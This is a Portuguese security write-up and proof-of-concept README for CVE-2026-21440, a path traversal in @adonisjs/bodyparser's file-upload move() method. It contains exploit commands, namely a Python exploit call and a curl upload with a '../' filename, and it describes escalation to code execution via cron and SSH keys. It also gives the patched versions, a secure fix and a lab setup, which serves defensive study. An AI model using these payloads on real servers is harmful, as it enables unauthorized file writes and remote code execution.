
poc e writeup para cve-2026-21440: uma vulnerabilidade crítica de path traversal no @adonisjs/bodyparser que permite escrita arbitrária de arquivos
path traversal para escrita arbitrária de arquivos no @adonisjs/bodyparser
existe uma vulnerabilidade crítica de path traversal no pacote @adonisjs/bodyparser que permite que atacantes remotos escrevam arquivos arbitrários fora do diretório de upload pretendido. quando a função multipartfile.move() é chamada sem fornecer explicitamente um nome de arquivo sanitizado, o parser usa por padrão o nome de arquivo fornecido pelo cliente, sem a devida sanitização.
como a implementação usa path.join() e options.overwrite tem como padrão true, um atacante pode criar um nome de arquivo malicioso contendo sequências de path traversal (por exemplo, ) para escrever arquivos em qualquer lugar do sistema de arquivos, potencialmente levando à execução remota de código.
../../etc/cron.d/malicious| atributo | valor |
|---|---|
| id cve | cve-2026-21440 |
| classificação cwe | cwe-22: limitação inadequada de um nome de caminho a um diretório restrito ('path traversal') |
| pontuação cvss v3.1 | 9.2 (crítica) |
| vetor de ataque | rede |
| complexidade do ataque | baixa |
| privilégios necessários | nenhum |
| interação do usuário | nenhuma |
a vulnerabilidade existe no método multipartfile.move(location, options?). quando os desenvolvedores chamam este método sem fornecer options.name, o código usa por padrão this.clientName — o nome de arquivo original enviado pelo cliente — sem sanitização.
// caminho de código vulnerável no @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← entrada do cliente não sanitizada
const filePath = path.join(location, fileName) // ← path.join permite traversal
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ atacante │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ aplicação adonisjs vulnerável │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← nenhum nome sanitizado fornecido │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ resolve para: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ arquivo escrito fora do diretório de upload │
└─────────────────────────────────────────────────────────────────┘
│
▼
escrita arbitrária de arquivos
→ rce via cron
→ sobrescrita de configuração
→ injeção de chave ssh
| pacote | versões vulneráveis | versão corrigida |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 a 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() sem opção name explícita# navegue até o diretório do exploit
cd Exploit-PoC
# instale as dependências
pip install -r requirements.txt
# execute o exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ vulnerável - usa nome de arquivo fornecido pelo cliente
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName usado como nome de arquivo
}
return response.ok({ message: 'uploaded' })
}
// ✅ seguro - gera nome de arquivo sanitizado
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// gera nome de arquivo único com extensão original
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // previne sobrescritas
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser para a versão corrigida# clone o repositório
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# inicie o ambiente vulnerável
docker-compose up --build
# em outro terminal, execute o exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# verifique se o arquivo foi escrito fora do diretório de uploads
docker-compose exec app cat /app/test.txt
| data | evento |
|---|---|
| 2026-01-02 | correção lançada nas versões 10.1.2 e 11.0.0-next.6 |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h publicado |
| 2026-01-02 | cve-2026-21440 atribuído |
| 2026-01-02 | publicado pela nvd |
este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. o código de prova de conceito destina-se a ajudar profissionais de segurança a entender e testar esta vulnerabilidade em ambientes que estão autorizados a avaliar.
acesso não autorizado a sistemas de computador é ilegal. os autores não assumem nenhuma responsabilidade pelo uso indevido destas informações. sempre obtenha autorização adequada antes de testar vulnerabilidades.
pesquisado com ☕ por k0nnect